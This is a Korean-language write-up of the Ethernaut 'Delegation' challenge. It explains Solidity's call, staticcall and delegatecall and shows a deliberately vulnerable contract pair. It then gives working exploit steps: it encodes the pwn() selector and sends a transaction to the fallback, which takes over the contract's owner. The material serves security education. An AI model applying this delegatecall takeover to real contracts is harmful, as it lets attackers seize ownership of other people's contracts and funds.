문제 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Delegation 컨트랙트의 owner 를 유저의 address 로 교체하면 되는 문제이다.
두 개의 컨트랙트중 사용자에게 주어지는것은 Delegation 이고 내부에서 owner 를 교체하는 부분은 존재하지 않아 불가능해 보인다.
그러나 delegatecall 의 원리를 잘 알고있다면 이를 이용해서 owner 를 교체하는 것이 가능하다.
delegatecall 을 설명하기 앞서 본래 solidity 에서 함수를 호출하기 위한 opcode 는 세 가지(call, staticcall, delegatecall)가 있다.
모두 다른 컨트랙트의 함수를 호출하거나 또는 단순 ether 를 전송하기 위해 쓰이나 차이점이 존재하므로 정리하도록 한다.
그림에서 contract A 는 contract B 의 모 함수를 호출하여 숫자에 1,2를 더하고 있다. 뒤에 나올 delegate call 과의 비교를 잠깐 해보자면 더한 숫자는 A 에 적용되지 않고 B에 적용되고 있다.
(bool success, bytes memory data) = address.call{value: number, gas: number}(<payload>);
value 값을 채워 넣으면 그만큼의 wei 를 전송하고 gas 는 forward 할 gas 량을 지정한다 (지정하지 않아도 되는데 이 경우 모든 gas 를 넘긴다). payload 는 호출하고자 하는 함수와 인자를 abi encode 된 값이다.
두 가지 변수를 리턴한다.
✨tips
기본적으로 다른 컨트랙트 함수 호출을 위해 low-level call은 잘 이용하지 않는다. 그 이유는 error 가 상위 함수로 자동적으로 bubble-up 되지 않기 때문. 즉 call 로 호출한 함수가 에러를 발생시키면 리턴된 false 값과 data 를 확인하여 수동적으로 대응해야한다는 문제점이 있다.
기본적으로 call 과 같지만 다른점은 storage 변형을 허락하지 않는다..!
따라서 storage를 읽어서 데이터를 리턴하거나 storage 값과 관련없이 동작하는 함수를 호출하는데 쓰일 수 있다.
(bool success, bytes memory data) = address.delegatecall{gas: number}(<payload>);
call 처럼 ether 를 전송할 수 없다. 기본적으로 남은 gas 를 두 사용하나 지정해 줄 수 있다.
리턴 값는 call 과 동일하다.
call
staticcall
delegatecall
따라서 Delegation 컨트랙트의 fallback 함수를 호출해야 하며 적절한 msg.data 를 제공하면 된다.
msg.data 에 들어가야 할 값 call data 인데 이 데이터는 어떤 함수를 호출할 것인지, 어떤 인자를 넣을 것인지 바이트로 나타내는 값이다. call data 중 맨 앞 4 바이트는 function selector 이고 나머지는 arguments 이다.
call data 는 복잡한 인코딩 과정을 거치지만 간단하게 web3 에서 제공하는 함수를 이용하면 만들어 낼 수 있다.
web3.eth.abi.encodeFunctionSignature('pwn()');
// results is "0xdd365b8b"
다음과 같은 object를 만든다.
const transaction = {
to: contract.address,
data: '0xdd365b8b', // 위에서 얻은 값
gas: 2000000,
};
sendTransaction 한다.
await contract.sendTransaction(transaction);
이렇게 전송하면 Delegation 컨트랙트에서 pwn 과 일치하는 함수를 찾을 수 없으므로 fallback 함수를 건드리게 되고 delegatecall 의 인자로 '0xdd365b8b' 가 전송되어 타겟 컨트랙트의 pwn 함수를 호출한다.
이 때 Delegation 의 owner 를 이용하므로 해당 값이 바뀌게 되는 것을 확인할 수 있다!